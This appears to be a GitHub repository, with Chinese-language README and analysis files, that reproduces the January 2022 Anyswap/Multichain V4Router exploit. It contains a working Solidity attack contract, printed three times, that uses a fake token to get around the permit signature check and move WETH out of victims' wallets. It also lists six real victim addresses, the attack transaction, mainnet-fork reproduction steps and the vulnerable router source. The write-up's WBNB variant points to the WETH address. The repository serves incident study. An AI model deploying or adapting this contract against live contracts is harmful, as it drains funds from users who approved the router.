├── 111.png ├── 222.png ├── images ├── 111.png ├── 222.png ├── after.png ├── before.png ├── attack_1.png ├── attack_2.png ├── after_attack_2.png ├── innocent_user_1.png └── innocent_user_2.png ├── 受害人-无辜用户地址.md ├── poc.sol ├── README.md ├── 分享.md ├── AnyswapV4Router.sol └── WETH9.sol /111.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/111.png -------------------------------------------------------------------------------- /222.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/222.png -------------------------------------------------------------------------------- /images/111.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/111.png -------------------------------------------------------------------------------- /images/222.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/222.png -------------------------------------------------------------------------------- /images/after.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/after.png -------------------------------------------------------------------------------- /images/before.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/before.png -------------------------------------------------------------------------------- /images/attack_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/attack_1.png -------------------------------------------------------------------------------- /images/attack_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/attack_2.png -------------------------------------------------------------------------------- /images/after_attack_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/after_attack_2.png -------------------------------------------------------------------------------- /images/innocent_user_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/innocent_user_1.png -------------------------------------------------------------------------------- /images/innocent_user_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/innocent_user_2.png -------------------------------------------------------------------------------- /受害人-无辜用户地址.md: -------------------------------------------------------------------------------- 1 | * 无辜用户地址1 2 | 3 | ``` 4 | 0xa77d0868a5604d3b525cd323ca4cb04d6d11f279 5 | ``` 6 | 7 | * 无辜用户地址2 8 | 9 | ``` 10 | 0xe85a9925527760a0fce192baab2cec349b223b50 11 | ``` 12 | 13 | * 无辜用户地址3 14 | 15 | ``` 16 | 0x4527106ae1a661a9d2ffc22575bacdaacb5e51e0 17 | ``` 18 | 19 | * 无辜用户地址4 20 | 21 | ``` 22 | 0x4a835c25824c47ecbfc79439bf3f5c3481aa75cd 23 | ``` 24 | 25 | * 无辜用户地址5 26 | 27 | ``` 28 | 0xf04a74425546afa9b245f7a97047cc7996263c14 29 | ``` 30 | 31 | * 无辜用户地址6 32 | 33 | ``` 34 | 0xfc10b6ce157735b42ce622361246c44327943cc2 35 | ``` 36 | -------------------------------------------------------------------------------- /poc.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity >=0.7.0 <0.9.0; 3 | 4 | interface AnyswapV4Router { 5 | 6 | function anySwapOutUnderlyingWithPermit( 7 | address from, 8 | address token, 9 | address to, 10 | uint256 amount, 11 | uint256 deadline, 12 | uint8 v, 13 | bytes32 r, 14 | bytes32 s, 15 | uint256 toChainID 16 | ) external; 17 | 18 | } 19 | 20 | interface WETH { 21 | 22 | function approve(address guy, uint256 wad) external returns (bool); 23 | 24 | function withdraw(uint256 wad) external; 25 | 26 | function balanceOf(address) external view returns (uint256); 27 | 28 | function transfer(address dst, uint256 wad) external returns (bool); 29 | 30 | } 31 | 32 | 33 | 34 | contract poc{ 35 | 36 | address AnyswapV4Router_Address = 0x6b7a87899490EcE95443e979cA9485CBE7E71522; 37 | 38 | address WETH_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 39 | 40 | function attack(address innocent_user, uint256 amount) public{ 41 | 42 | AnyswapV4Router(AnyswapV4Router_Address).anySwapOutUnderlyingWithPermit(innocent_user,address(this),msg.sender,amount,100000000000000000000,0,"0x","0x",56); 43 | 44 | WETH(WETH_Address).transfer(msg.sender, amount); 45 | 46 | } 47 | 48 | 49 | function burn(address from, uint256 amount) external returns (bool){ 50 | return true; 51 | } 52 | 53 | function depositVault(uint amount, address to) external returns (uint){ 54 | return 1; 55 | } 56 | 57 | 58 | function underlying() external view returns (address){ 59 | return WETH_Address; 60 | } 61 | 62 | } 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Anyswap_Vul_Poc 2 | Anyswap aka Multichain V4Router 攻击事件的分析和复现 3 | 4 | 5 | ### 攻击交易 6 | 7 | ``` 8 | 0xd07c0f40eec44f7674dddf617cbdec4758f258b531e99b18b8ee3b3b95885e7d 9 | ``` 10 | 11 | ### 块高度 12 | 13 | ``` 14 | 14028474 15 | ``` 16 | 17 | 18 | ### 攻击步骤 19 | 20 | 1. 攻击合约调用`AnyswapV4Router`的`anySwapOutUnderlyingWithPermit`函数,传入参数： 21 | 1. 受害者地址 22 | 2. 虚假的Token地址 23 | 3. 攻击者的EOA地址 24 | 4. amount=200000000000000000 25 | 5. deadline=100000000000000000000 26 | 6. v=0 27 | 7. r=0x0000000000000000000000000000000000000000000000000000000000000000 28 | 8. s=0x0000000000000000000000000000000000000000000000000000000000000000 29 | 9. toChainID=56 30 | 31 | 2. 第一步会导致`AnyswapV4Router`调用虚假Token的`underlying()`函数, 虚假Token的返回值为： 32 | 1. WETH的地址 33 | 34 | 35 | 3. 第一步中`AnyswapV4Router`还会调用虚假Token的`depositVault()`函数, 虚假Token的返回值为： 36 | 1. 1 37 | 38 | 39 | 4. 第一步`AnyswapV4Router`最后会调用虚假Token的`burn()`函数, 虚假Token的返回值为： 40 | 1. true 41 | 42 | 5. 绕过各种校验后, AnyswapV4Router把`WETH`从受害人的账户转入攻击者的EOA地址 43 | 44 | 45 | ### 复现方法 46 | 47 | * fork 48 | 49 | ``` 50 | npx ganache-cli --fork https://eth-mainnet.alchemyapi.io/v2/your_api_key@14028473 -l 4294967295 51 | ``` 52 | 53 | * 部署攻击合约 54 | 55 | ```js 56 | 57 | // SPDX-License-Identifier: UNLICENSED 58 | pragma solidity >=0.7.0 <0.9.0; 59 | 60 | interface AnyswapV4Router { 61 | 62 | function anySwapOutUnderlyingWithPermit( 63 | address from, 64 | address token, 65 | address to, 66 | uint256 amount, 67 | uint256 deadline, 68 | uint8 v, 69 | bytes32 r, 70 | bytes32 s, 71 | uint256 toChainID 72 | ) external; 73 | 74 | } 75 | 76 | interface WETH { 77 | 78 | function approve(address guy, uint256 wad) external returns (bool); 79 | 80 | function withdraw(uint256 wad) external; 81 | 82 | function balanceOf(address) external view returns (uint256); 83 | 84 | function transfer(address dst, uint256 wad) external returns (bool); 85 | 86 | } 87 | 88 | 89 | 90 | contract poc{ 91 | 92 | address AnyswapV4Router_Address = 0x6b7a87899490EcE95443e979cA9485CBE7E71522; 93 | 94 | address WETH_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 95 | 96 | function attack(address innocent_user, uint256 amount) public{ 97 | 98 | AnyswapV4Router(AnyswapV4Router_Address).anySwapOutUnderlyingWithPermit(innocent_user,address(this),msg.sender,amount,100000000000000000000,0,"0x","0x",56); 99 | 100 | WETH(WETH_Address).transfer(msg.sender, amount); 101 | 102 | } 103 | 104 | 105 | function burn(address from, uint256 amount) external returns (bool){ 106 | return true; 107 | } 108 | 109 | function depositVault(uint amount, address to) external returns (uint){ 110 | return 1; 111 | } 112 | 113 | 114 | function underlying() external view returns (address){ 115 | return WETH_Address; 116 | } 117 | 118 | } 119 | 120 | 121 | ``` 122 | 123 | * 查询第一个受害者有多少`WETH` 124 | 125 | ![image](https://github.com/W2Ning/Anyswap_Vul_Poc/blob/main/images/innocent_user_1.png) 126 | 127 | 该用户`0x5136e623126d3572933fbafe59ae97f13dd9687a`有大概5.7个`WETH` 128 | 129 | * 调用POC合约的`attack`函数, 传入第一个受害人的地址和数量 130 | 131 | ![image](https://github.com/W2Ning/Anyswap_Vul_Poc/blob/main/images/attack_1.png) 132 | 133 | 134 | ![image](https://github.com/W2Ning/Anyswap_Vul_Poc/blob/main/images/after.png) 135 | 136 | * 查询第二个受害者有多少`WETH` 137 | 138 | ![image](https://github.com/W2Ning/Anyswap_Vul_Poc/blob/main/images/innocent_user_2.png) 139 | 140 | 该用户`0xa8a83c0a6fabadf21dbb1da1d9b24455c56f5573`刚好有3个`WETH`, 并且之前与`Anyswap`交互过 141 | 142 | * 同样的操作 143 | 144 | ![image](https://github.com/W2Ning/Anyswap_Vul_Poc/blob/main/images/attack_2.png) 145 | 146 | 147 | ![image](https://github.com/W2Ning/Anyswap_Vul_Poc/blob/main/images/after_attack_2.png) 148 | 149 | -------------------------------------------------------------------------------- /分享.md: -------------------------------------------------------------------------------- 1 | ### 事件简述 2 | 3 | Anyswap是一个去中心化的跨链交换协议。 4 | 5 | 于2020年7月开始运行。 6 | 7 | 2021年7月11日, AnySwap Router V3 受到黑客攻击并损失787万美元。 8 | 9 | 2021年12月16日, Anyswap宣布更名为Multichain。 10 | 11 | 2022年1月18日，Multichain于medium发布漏洞预警信息，文章中称发现一严重漏洞，影响6个跨链Token，呼吁代币拥有者尽快转移资产。 12 | 13 | 尽管Multichain声称已经修复了漏洞，但是在当天还是有攻击者成功窃取了总价值约1400万美金的加密资产。 14 | 15 | 16 | 17 | ### 漏洞原理简析 18 | 19 | 1. `routerV4`合约没有对用户传入的Token地址做合法性校验 20 | 21 | 2. `WETH9`并不兼容`routerV4`的部分逻辑设计 22 | 23 | * 漏洞代码 24 | 25 | ```js 26 | function anySwap_OutUnderlying_WithPermit( 27 | address from, 28 | address token, 29 | address to, 30 | uint amount, 31 | uint deadline, 32 | uint8 v, 33 | bytes32 r, 34 | bytes32 s, 35 | uint toChainID 36 | ) external { 37 | address _underlying = AnyswapV1ERC20(token).underlying(); 38 | IERC20(_underlying).permit(from, address(this), amount, deadline, v, r, s); 39 | TransferHelper.safeTransferFrom(_underlying, from, token, amount); 40 | AnyswapV1ERC20(token).depositVault(amount, from); 41 | _anySwapOut(from, token, to, amount, toChainID); 42 | } 43 | ``` 44 | 45 | 46 | #### EIP-2612 47 | 48 | EIP-2612为ERC-20标准增加了一个新的函数：`permit` 49 | 50 | 它允许用户在链下签署授权的交易，生成任何人都可以使用并提交给区块链的签名。 51 | 52 | 该标准优化了传统ERC20Token对用户不友好的两步过程： 53 | 54 | ``` 55 | approve + transferFrom 56 | ``` 57 | 58 | 简单来说：过去要`approve`后我们才能把代币转给别的合约。 59 | 但如果该代币支持了`permit`(例如USDC)，那我们就可以透过在链下用私钥签署产生一个签名， 60 | 使用这个签名，别人（其他EOA或者合约地址）就可以帮我们调用`permit`然后把代币转走。 61 | 62 | 63 | * 然而`WETH9`并不支持`EIP-2612`协议, 没有实现`permit`函数 64 | * 并且如果强行调用`WETH9`上不存在的函数时, `WETH9`不会`Revert`, 交易会继续进行 65 | * AnySwap在功能设计上没有考虑到规避这一点 66 | 67 | 68 | ### 攻击步骤分析 69 | 70 | * 在正常使用逻辑中 71 | 72 | 用户调用`anySwapOutUnderlyingWithPermit`函数, 传入的token地址应为Anyswap官方部署的`anyERC20`地址, 在成功校验用户传入的签名后, 进行与之对应的`ERC20`转账操作. 73 | 74 | ![image](https://github.com/W2Ning/Anyswap_Vul_Poc/blob/main/images/111.png) 75 | 76 | 77 | 事实上Anyswap并没有部署与`WETH9`对应的`anyWETH`合约, 于是攻击者自己部署了一个假的 78 | 79 | ![image](https://github.com/W2Ning/Anyswap_Vul_Poc/blob/main/images/222.png) 80 | 81 | 82 | 这样攻击者就绕过了签名的校验, 把受害人的`WETH`转到了自己的账户 83 | 84 | ### 复现 85 | 86 | * fork 87 | 88 | ``` 89 | npx ganache-cli --fork https://eth-mainnet.alchemyapi.io/v2/your_api_key@14028473 -l 4294967295 90 | ``` 91 | 92 | * 部署攻击合约 93 | 94 | ```js 95 | 96 | // SPDX-License-Identifier: UNLICENSED 97 | pragma solidity >=0.7.0 <0.9.0; 98 | 99 | interface AnyswapV4Router { 100 | 101 | function anySwapOutUnderlyingWithPermit( 102 | address from, 103 | address token, 104 | address to, 105 | uint256 amount, 106 | uint256 deadline, 107 | uint8 v, 108 | bytes32 r, 109 | bytes32 s, 110 | uint256 toChainID 111 | ) external; 112 | 113 | } 114 | 115 | interface WBNB { 116 | 117 | function approve(address guy, uint256 wad) external returns (bool); 118 | 119 | function withdraw(uint256 wad) external; 120 | 121 | function balanceOf(address) external view returns (uint256); 122 | 123 | function transfer(address dst, uint256 wad) external returns (bool); 124 | 125 | } 126 | 127 | 128 | 129 | contract poc{ 130 | 131 | address AnyswapV4Router_Address = 0x6b7a87899490EcE95443e979cA9485CBE7E71522; 132 | 133 | address WBNB_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 134 | 135 | function attack(address innocent_user, uint256 amount) public{ 136 | 137 | AnyswapV4Router(AnyswapV4Router_Address).anySwapOutUnderlyingWithPermit(innocent_user,address(this),msg.sender,amount,100000000000000000000,0,"0x","0x",56); 138 | 139 | WBNB(WBNB_Address).transfer(msg.sender, amount); 140 | 141 | } 142 | 143 | 144 | function burn(address from, uint256 amount) external returns (bool){ 145 | return true; 146 | } 147 | 148 | function depositVault(uint amount, address to) external returns (uint){ 149 | return 1; 150 | } 151 | 152 | 153 | function underlying() external view returns (address){ 154 | return WBNB_Address; 155 | } 156 | 157 | } 158 | 159 | 160 | ``` 161 | 162 | 163 | -------------------------------------------------------------------------------- /AnyswapV4Router.sol: -------------------------------------------------------------------------------- 1 | /** 2 | *Submitted for verification at Etherscan.io on 2021-06-18 3 | */ 4 | 5 | /** 6 | *Submitted for verification at FtmScan.com on 2021-05-31 7 | */ 8 | 9 | /** 10 | *Submitted for verification at BscScan.com on 2021-04-15 11 | */ 12 | 13 | /** 14 | *Submitted for verification at BscScan.com on 2021-04-08 15 | */ 16 | 17 | /** 18 | *Submitted for verification at hecoinfo.com on 2021-04-08 19 | */ 20 | 21 | // SPDX-License-Identifier: GPL-3.0-or-later 22 | 23 | pragma solidity >=0.8.0; 24 | 25 | interface ISushiswapV2Pair { 26 | function factory() external view returns (address); 27 | function token0() external view returns (address); 28 | function token1() external view returns (address); 29 | function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); 30 | function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; 31 | } 32 | 33 | // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) 34 | 35 | library SafeMathSushiswap { 36 | function add(uint x, uint y) internal pure returns (uint z) { 37 | require((z = x + y) >= x, 'ds-math-add-overflow'); 38 | } 39 | 40 | function sub(uint x, uint y) internal pure returns (uint z) { 41 | require((z = x - y) <= x, 'ds-math-sub-underflow'); 42 | } 43 | 44 | function mul(uint x, uint y) internal pure returns (uint z) { 45 | require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); 46 | } 47 | } 48 | 49 | library SushiswapV2Library { 50 | using SafeMathSushiswap for uint; 51 | 52 | // returns sorted token addresses, used to handle return values from pairs sorted in this order 53 | function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { 54 | require(tokenA != tokenB, 'SushiswapV2Library: IDENTICAL_ADDRESSES'); 55 | (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); 56 | require(token0 != address(0), 'SushiswapV2Library: ZERO_ADDRESS'); 57 | } 58 | 59 | // calculates the CREATE2 address for a pair without making any external calls 60 | function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { 61 | (address token0, address token1) = sortTokens(tokenA, tokenB); 62 | pair = address(uint160(uint256(keccak256(abi.encodePacked( 63 | hex'ff', 64 | factory, 65 | keccak256(abi.encodePacked(token0, token1)), 66 | hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash 67 | ))))); 68 | } 69 | 70 | // fetches and sorts the reserves for a pair 71 | function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { 72 | (address token0,) = sortTokens(tokenA, tokenB); 73 | (uint reserve0, uint reserve1,) = ISushiswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); 74 | (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); 75 | } 76 | 77 | // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset 78 | function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { 79 | require(amountA > 0, 'SushiswapV2Library: INSUFFICIENT_AMOUNT'); 80 | require(reserveA > 0 && reserveB > 0, 'SushiswapV2Library: INSUFFICIENT_LIQUIDITY'); 81 | amountB = amountA.mul(reserveB) / reserveA; 82 | } 83 | 84 | // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset 85 | function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { 86 | require(amountIn > 0, 'SushiswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); 87 | require(reserveIn > 0 && reserveOut > 0, 'SushiswapV2Library: INSUFFICIENT_LIQUIDITY'); 88 | uint amountInWithFee = amountIn.mul(997); 89 | uint numerator = amountInWithFee.mul(reserveOut); 90 | uint denominator = reserveIn.mul(1000).add(amountInWithFee); 91 | amountOut = numerator / denominator; 92 | } 93 | 94 | // given an output amount of an asset and pair reserves, returns a required input amount of the other asset 95 | function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { 96 | require(amountOut > 0, 'SushiswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); 97 | require(reserveIn > 0 && reserveOut > 0, 'SushiswapV2Library: INSUFFICIENT_LIQUIDITY'); 98 | uint numerator = reserveIn.mul(amountOut).mul(1000); 99 | uint denominator = reserveOut.sub(amountOut).mul(997); 100 | amountIn = (numerator / denominator).add(1); 101 | } 102 | 103 | // performs chained getAmountOut calculations on any number of pairs 104 | function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { 105 | require(path.length >= 2, 'SushiswapV2Library: INVALID_PATH'); 106 | amounts = new uint[](path.length); 107 | amounts[0] = amountIn; 108 | for (uint i; i < path.length - 1; i++) { 109 | (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); 110 | amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); 111 | } 112 | } 113 | 114 | // performs chained getAmountIn calculations on any number of pairs 115 | function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { 116 | require(path.length >= 2, 'SushiswapV2Library: INVALID_PATH'); 117 | amounts = new uint[](path.length); 118 | amounts[amounts.length - 1] = amountOut; 119 | for (uint i = path.length - 1; i > 0; i--) { 120 | (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); 121 | amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); 122 | } 123 | } 124 | } 125 | 126 | // helper methods for interacting with ERC20 tokens and sending NATIVE that do not consistently return true/false 127 | library TransferHelper { 128 | function safeApprove(address token, address to, uint value) internal { 129 | // bytes4(keccak256(bytes('approve(address,uint256)'))); 130 | (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); 131 | require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); 132 | } 133 | 134 | function safeTransfer(address token, address to, uint value) internal { 135 | // bytes4(keccak256(bytes('transfer(address,uint256)'))); 136 | (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); 137 | require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); 138 | } 139 | 140 | function safeTransferFrom(address token, address from, address to, uint value) internal { 141 | // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); 142 | (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); 143 | require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); 144 | } 145 | 146 | function safeTransferNative(address to, uint value) internal { 147 | (bool success,) = to.call{value:value}(new bytes(0)); 148 | require(success, 'TransferHelper: NATIVE_TRANSFER_FAILED'); 149 | } 150 | } 151 | 152 | interface IwNATIVE { 153 | function deposit() external payable; 154 | function transfer(address to, uint value) external returns (bool); 155 | function withdraw(uint) external; 156 | } 157 | 158 | interface AnyswapV1ERC20 { 159 | function mint(address to, uint256 amount) external returns (bool); 160 | function burn(address from, uint256 amount) external returns (bool); 161 | function changeVault(address newVault) external returns (bool); 162 | function depositVault(uint amount, address to) external returns (uint); 163 | function withdrawVault(address from, uint amount, address to) external returns (uint); 164 | function underlying() external view returns (address); 165 | } 166 | 167 | /** 168 | * @dev Interface of the ERC20 standard as defined in the EIP. 169 | */ 170 | interface IERC20 { 171 | function totalSupply() external view returns (uint256); 172 | function balanceOf(address account) external view returns (uint256); 173 | function transfer(address recipient, uint256 amount) external returns (bool); 174 | function allowance(address owner, address spender) external view returns (uint256); 175 | function approve(address spender, uint256 amount) external returns (bool); 176 | function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; 177 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 178 | function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool); 179 | 180 | event Transfer(address indexed from, address indexed to, uint256 value); 181 | event Approval(address indexed owner, address indexed spender, uint256 value); 182 | } 183 | 184 | contract AnyswapV4Router { 185 | using SafeMathSushiswap for uint; 186 | 187 | address public immutable factory; 188 | address public immutable wNATIVE; 189 | 190 | modifier ensure(uint deadline) { 191 | require(deadline >= block.timestamp, 'AnyswapV3Router: EXPIRED'); 192 | _; 193 | } 194 | 195 | constructor(address _factory, address _wNATIVE, address _mpc) { 196 | _newMPC = _mpc; 197 | _newMPCEffectiveTime = block.timestamp; 198 | factory = _factory; 199 | wNATIVE = _wNATIVE; 200 | } 201 | 202 | receive() external payable { 203 | assert(msg.sender == wNATIVE); // only accept Native via fallback from the wNative contract 204 | } 205 | 206 | address private _oldMPC; 207 | address private _newMPC; 208 | uint256 private _newMPCEffectiveTime; 209 | 210 | 211 | event LogChangeMPC(address indexed oldMPC, address indexed newMPC, uint indexed effectiveTime, uint chainID); 212 | event LogChangeRouter(address indexed oldRouter, address indexed newRouter, uint chainID); 213 | event LogAnySwapIn(bytes32 indexed txhash, address indexed token, address indexed to, uint amount, uint fromChainID, uint toChainID); 214 | event LogAnySwapOut(address indexed token, address indexed from, address indexed to, uint amount, uint fromChainID, uint toChainID); 215 | event LogAnySwapTradeTokensForTokens(address[] path, address indexed from, address indexed to, uint amountIn, uint amountOutMin, uint fromChainID, uint toChainID); 216 | event LogAnySwapTradeTokensForNative(address[] path, address indexed from, address indexed to, uint amountIn, uint amountOutMin, uint fromChainID, uint toChainID); 217 | 218 | modifier onlyMPC() { 219 | require(msg.sender == mpc(), "AnyswapV3Router: FORBIDDEN"); 220 | _; 221 | } 222 | 223 | function mpc() public view returns (address) { 224 | if (block.timestamp >= _newMPCEffectiveTime) { 225 | return _newMPC; 226 | } 227 | return _oldMPC; 228 | } 229 | 230 | function cID() public view returns (uint id) { 231 | assembly {id := chainid()} 232 | } 233 | 234 | function changeMPC(address newMPC) public onlyMPC returns (bool) { 235 | require(newMPC != address(0), "AnyswapV3Router: address(0x0)"); 236 | _oldMPC = mpc(); 237 | _newMPC = newMPC; 238 | _newMPCEffectiveTime = block.timestamp + 2*24*3600; 239 | emit LogChangeMPC(_oldMPC, _newMPC, _newMPCEffectiveTime, cID()); 240 | return true; 241 | } 242 | 243 | function changeVault(address token, address newVault) public onlyMPC returns (bool) { 244 | require(newVault != address(0), "AnyswapV3Router: address(0x0)"); 245 | return AnyswapV1ERC20(token).changeVault(newVault); 246 | } 247 | 248 | function _anySwapOut(address from, address token, address to, uint amount, uint toChainID) internal { 249 | AnyswapV1ERC20(token).burn(from, amount); 250 | emit LogAnySwapOut(token, from, to, amount, cID(), toChainID); 251 | } 252 | 253 | // Swaps `amount` `token` from this chain to `toChainID` chain with recipient `to` 254 | function anySwapOut(address token, address to, uint amount, uint toChainID) external { 255 | _anySwapOut(msg.sender, token, to, amount, toChainID); 256 | } 257 | 258 | // Swaps `amount` `token` from this chain to `toChainID` chain with recipient `to` by minting with `underlying` 259 | function anySwapOutUnderlying(address token, address to, uint amount, uint toChainID) external { 260 | TransferHelper.safeTransferFrom(AnyswapV1ERC20(token).underlying(), msg.sender, token, amount); 261 | AnyswapV1ERC20(token).depositVault(amount, msg.sender); 262 | _anySwapOut(msg.sender, token, to, amount, toChainID); 263 | } 264 | 265 | function anySwapOutUnderlyingWithPermit( 266 | address from, 267 | address token, 268 | address to, 269 | uint amount, 270 | uint deadline, 271 | uint8 v, 272 | bytes32 r, 273 | bytes32 s, 274 | uint toChainID 275 | ) external { 276 | address _underlying = AnyswapV1ERC20(token).underlying(); 277 | IERC20(_underlying).permit(from, address(this), amount, deadline, v, r, s); 278 | TransferHelper.safeTransferFrom(_underlying, from, token, amount); 279 | AnyswapV1ERC20(token).depositVault(amount, from); 280 | _anySwapOut(from, token, to, amount, toChainID); 281 | } 282 | 283 | function anySwapOutUnderlyingWithTransferPermit( 284 | address from, 285 | address token, 286 | address to, 287 | uint amount, 288 | uint deadline, 289 | uint8 v, 290 | bytes32 r, 291 | bytes32 s, 292 | uint toChainID 293 | ) external { 294 | IERC20(AnyswapV1ERC20(token).underlying()).transferWithPermit(from, token, amount, deadline, v, r, s); 295 | AnyswapV1ERC20(token).depositVault(amount, from); 296 | _anySwapOut(from, token, to, amount, toChainID); 297 | } 298 | 299 | function anySwapOut(address[] calldata tokens, address[] calldata to, uint[] calldata amounts, uint[] calldata toChainIDs) external { 300 | for (uint i = 0; i < tokens.length; i++) { 301 | _anySwapOut(msg.sender, tokens[i], to[i], amounts[i], toChainIDs[i]); 302 | } 303 | } 304 | 305 | // swaps `amount` `token` in `fromChainID` to `to` on this chainID 306 | function _anySwapIn(bytes32 txs, address token, address to, uint amount, uint fromChainID) internal { 307 | AnyswapV1ERC20(token).mint(to, amount); 308 | emit LogAnySwapIn(txs, token, to, amount, fromChainID, cID()); 309 | } 310 | 311 | // swaps `amount` `token` in `fromChainID` to `to` on this chainID 312 | // triggered by `anySwapOut` 313 | function anySwapIn(bytes32 txs, address token, address to, uint amount, uint fromChainID) external onlyMPC { 314 | _anySwapIn(txs, token, to, amount, fromChainID); 315 | } 316 | 317 | // swaps `amount` `token` in `fromChainID` to `to` on this chainID with `to` receiving `underlying` 318 | function anySwapInUnderlying(bytes32 txs, address token, address to, uint amount, uint fromChainID) external onlyMPC { 319 | _anySwapIn(txs, token, to, amount, fromChainID); 320 | AnyswapV1ERC20(token).withdrawVault(to, amount, to); 321 | } 322 | 323 | // swaps `amount` `token` in `fromChainID` to `to` on this chainID with `to` receiving `underlying` if possible 324 | function anySwapInAuto(bytes32 txs, address token, address to, uint amount, uint fromChainID) external onlyMPC { 325 | _anySwapIn(txs, token, to, amount, fromChainID); 326 | AnyswapV1ERC20 _anyToken = AnyswapV1ERC20(token); 327 | address _underlying = _anyToken.underlying(); 328 | if (_underlying != address(0) && IERC20(_underlying).balanceOf(token) >= amount) { 329 | _anyToken.withdrawVault(to, amount, to); 330 | } 331 | } 332 | 333 | // extracts mpc fee from bridge fees 334 | function anySwapFeeTo(address token, uint amount) external onlyMPC { 335 | address _mpc = mpc(); 336 | AnyswapV1ERC20(token).mint(_mpc, amount); 337 | AnyswapV1ERC20(token).withdrawVault(_mpc, amount, _mpc); 338 | } 339 | 340 | function anySwapIn(bytes32[] calldata txs, address[] calldata tokens, address[] calldata to, uint256[] calldata amounts, uint[] calldata fromChainIDs) external onlyMPC { 341 | for (uint i = 0; i < tokens.length; i++) { 342 | _anySwapIn(txs[i], tokens[i], to[i], amounts[i], fromChainIDs[i]); 343 | } 344 | } 345 | 346 | // **** SWAP **** 347 | // requires the initial amount to have already been sent to the first pair 348 | function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual { 349 | for (uint i; i < path.length - 1; i++) { 350 | (address input, address output) = (path[i], path[i + 1]); 351 | (address token0,) = SushiswapV2Library.sortTokens(input, output); 352 | uint amountOut = amounts[i + 1]; 353 | (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0)); 354 | address to = i < path.length - 2 ? SushiswapV2Library.pairFor(factory, output, path[i + 2]) : _to; 355 | ISushiswapV2Pair(SushiswapV2Library.pairFor(factory, input, output)).swap( 356 | amount0Out, amount1Out, to, new bytes(0) 357 | ); 358 | } 359 | } 360 | 361 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to` 362 | function anySwapOutExactTokensForTokens( 363 | uint amountIn, 364 | uint amountOutMin, 365 | address[] calldata path, 366 | address to, 367 | uint deadline, 368 | uint toChainID 369 | ) external virtual ensure(deadline) { 370 | AnyswapV1ERC20(path[0]).burn(msg.sender, amountIn); 371 | emit LogAnySwapTradeTokensForTokens(path, msg.sender, to, amountIn, amountOutMin, cID(), toChainID); 372 | } 373 | 374 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to` 375 | function anySwapOutExactTokensForTokensUnderlying( 376 | uint amountIn, 377 | uint amountOutMin, 378 | address[] calldata path, 379 | address to, 380 | uint deadline, 